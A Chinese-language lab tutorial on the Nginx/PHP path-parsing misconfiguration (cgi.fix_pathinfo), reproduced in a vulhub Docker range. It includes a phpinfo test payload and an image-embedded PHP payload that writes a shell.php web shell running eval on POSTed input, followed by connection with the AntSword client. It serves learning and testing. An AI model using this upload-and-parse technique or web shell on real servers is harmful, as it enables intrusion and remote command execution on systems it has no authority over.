目录
Nginx解析漏洞
环境搭建
复现
漏洞利用
Nginx解析漏洞
NGINX解析漏洞主要是由于NGINX配置文件以及PHP配置文件的错误配置导致的。这个漏洞与NGINX、PHP版本无关,属于用户配置不当造成的解析漏洞。具体来说,由于nginx.conf的配置导致nginx把以’.php’结尾的文件交给fastcgi处理,对于任意文件名,在后面添加/xxx.php(xxx为任意字符)后,即可将文件作为php解析。
当攻击者访问/phpinfo.jpg/abc.php时,Nginx将查看URL,看到他以.php结尾,并将路径传递给php fastcgi处理程序,php看到/phpinfo.jpg/abc.php不存在,便删除去最后的/abc.php,看到phpinfo.jpg存在,而后以php的形式执行.jpg的内容。
这里涉及到php的有一个选择:cgi.fix_pathinfo,该配置默认为1,开启状态,表示对文件路径进行“修理”。当php遇到文件路径“/1.aaa/2.bbb/3.cccc"文件时,若“/1.aaa/2.bbb/3.cccc"不存在,则会去掉最后的”/3.ccc",然后判断“/1.aaa/2.bbb”是否存在,若不存在,则继续去掉“/2.bbb”,以此类推。
环境搭建
打开vulhub靶场,nginx解析漏洞的地址时 /vulhub-master/nginx/nginx_parsing_vulnerability
vulhub靶场包的下载地址:github.com/vulhub
vulhub靶场的搭建教程可以参考:kali linux 下搭建 Vulhub 靶场(图文详解)
vulhub依赖于docker运行,所以记得安装docker
复现
下面是vulhub中关于nginx解析漏洞的readme:
版本信息:
Nginx 1.x 最新版
PHP 7.x最新版
由此可知,该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
访问 localhost /uploadfiles/nginx.png 则 正常显示
增加 /.php 后缀,则解析为php文件
漏洞利用1
上面已经确定niginx解析漏洞存在, 我们可以通过文件上传利用nginx解析漏洞获取shell
首先,找一个jpg格式的图片,上传,上传时使用burp suite抓包(建议使用bp的内置浏览器)
这里我们上传上面的jpg格式的图片,提交前进行抓包,图片中的位置添加
<?php echo phpinfo(); ?>
可以看到这里上传成功,该图片的位置如下
我们利用nginx解析漏洞,添加/.php的后缀,可以看到phpinfo执行成功
漏洞利用2
还是用漏洞利用1 中的图片 ,不过我们在上传时,抓包后在图片末的位置添加的内容为
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);echo"hacker"?>');?>
访问上传位置,添加/.php的后缀,再访问 若uploadfiles下出现shell.php的文件 ,则说明百分之99以及成功
使用中国蚁剑进行连接
这里可以看到,连接成功
总结
该漏洞与nginx、php版本无关,属于用户配置不当造成的解析漏洞